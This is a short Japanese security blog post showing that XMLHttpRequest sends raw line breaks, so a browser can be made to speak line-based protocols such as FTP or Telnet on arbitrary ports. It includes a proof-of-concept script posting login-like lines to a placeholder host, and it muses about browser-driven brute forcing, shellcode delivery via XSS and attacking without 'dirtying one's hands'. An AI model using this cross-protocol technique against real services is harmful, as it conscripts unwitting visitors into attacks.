ikepyonのだめ人間日記

セキュリティに関することを書いていく予定。

XMLHttpRequestの利用方法w

XMLHttpRequestを使えば、自由に改行が操作できるみたい。
例えば、こんなScriptがあったとすると。

 
 
 <script>
  function createHttpRequest(){

    if(window.ActiveXObject){
        try {
            return new ActiveXObject("Msxml2.XMLHTTP")
        } catch (e) {
            try {
                return new ActiveXObject("Microsoft.XMLHTTP")
            } catch (e2) {
                return null
            }
         }
    } else if(window.XMLHttpRequest){
        return new XMLHttpRequest()
    } else {
        return null
    }
  }

  function requestFile( data , method , fileName , async )
  {
    var httpoj = createHttpRequest()
    
    httpoj.open( method , fileName , async )

    httpoj.send( data )
  }
    
 
 <form>
  <input type="button"
   onclick="requestFile( 'user test\npass testtest\n' , 'POST',  'http://hogehoge:8010/test.txt' , true )">
</form> </body> </html>

XMLHttpRequestはリクエストとして、こういったものを投げる。(IE7で検証)

POST /test.txt HTTP/1.1
Accept: */*
Accept-Language: ja
Referer: http://hogehoge/test.htm
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)
Host: hogehoge:8010
Content-Length: 24
Connection: Keep-Alive
Cache-Control: no-cache

user test
pass testtest

改行コードがそのまま投げられているのが分かるかと・・・
当たり前といえば、当たり前の気もするけど、これを使えばFTPとか、TelnetとかのブルートフォースツールをJavascriptで作ることもできますな。
コードさえうまく作ればBoFツールもできそうな予感orz
まあ、こんな手間かけるのであれば、直接攻撃した方が楽だけど、自分の手を汚したくないときなんかに使えそうですな・・・
まあ、XSSを使った悪用方法としてはこんなものもあるということで・・・


追記:
どうやら、URLエンコードされていないデータが送られているようなので、decodeURIComponent使えば、結構楽にShellコードも作成できそうorz
この攻撃の怖いところは、XSS脆弱性のあるサイトで動いているTCPのポートに対して、普通の人が知らないうちに攻撃を仕掛けてしまう点だったり。被害者であるはずが、加害者になってしまうので怖いなぁと思う。